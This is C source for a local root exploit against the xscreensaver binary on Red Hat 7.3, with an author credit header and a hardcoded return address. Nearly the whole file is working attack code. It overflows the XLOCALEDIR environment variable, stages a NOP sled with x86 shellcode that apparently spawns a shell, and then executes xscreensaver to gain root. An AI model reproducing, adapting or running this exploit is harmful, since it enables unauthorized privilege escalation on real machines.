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- /*
- **
- ** Tested on rh 7.3 using XFree86
- ** xscreensaver vulnerability
- ** AUTHORS: Angelo Rosiello (Guilecool) & deka
- ** REQUIRES: X must be run!
- ** EFFECTS: local root exploit!
- **
- ** deka is leet brother, thank you :>
- ** MAIL: guilecool@usa.com
- **
- */
-
- #include <stdio.h>
- #include <string.h>
- #include <unistd.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <fcntl.h>
-
- #define RETADDR 0xbfffdf20 //change it if u need
-
- char shellcode[] =
- "\x55\x89\xe5\x55\x89\xe5\x83\xec\x28\xc6\x45\xd8\x2f\xc6\x45\xdc"
- "\x2f\xc6\x45\xd9\x5f\xc6\x45\xda\x5a\xc6\x45\xdb\x5f\xc6\x45\xdd"
- "\x5f\xc6\x45\xde\x5f\x83\x45\xd9\x03\x83\x45\xda\x0f\x83\x45\xdb"
- "\x0f\x83\x45\xdd\x14\x83\x45\xde\x09\x31\xc0\x89\x45\xdf\x89\x45"
- "\xf4\x8d\x45\xd8\x89\x45\xf0\x83\xec\x04\x8d\x45\xf0\x31\xd2\x89"
- "\xd3\x89\xc1\x8b\x45\xf0\x89\xc3\x31\xc0\x83\xc0\x0b\xcd\x80\x31"
- "\xc0\x40\xcd\x80";
-
- int main()
- {
- char buf[4076];
- unsigned long retaddr = RETADDR;
-
- memset(buf, 0x0, 4076);
- memset(buf, 0x41, 4072);
- memcpy(buf+2076, &retaddr, 0x4);
- setenv("XLOCALEDIR", buf, 1);
- memset(buf, 0x90, 4072);
- memcpy((buf+4072-strlen(shellcode)), shellcode, strlen
- (shellcode));
- setenv("HAXHAX", buf, 1);
- execl("/usr/X11R6/bin/xscreensaver", "xscreensaver", 0);
- }
-
-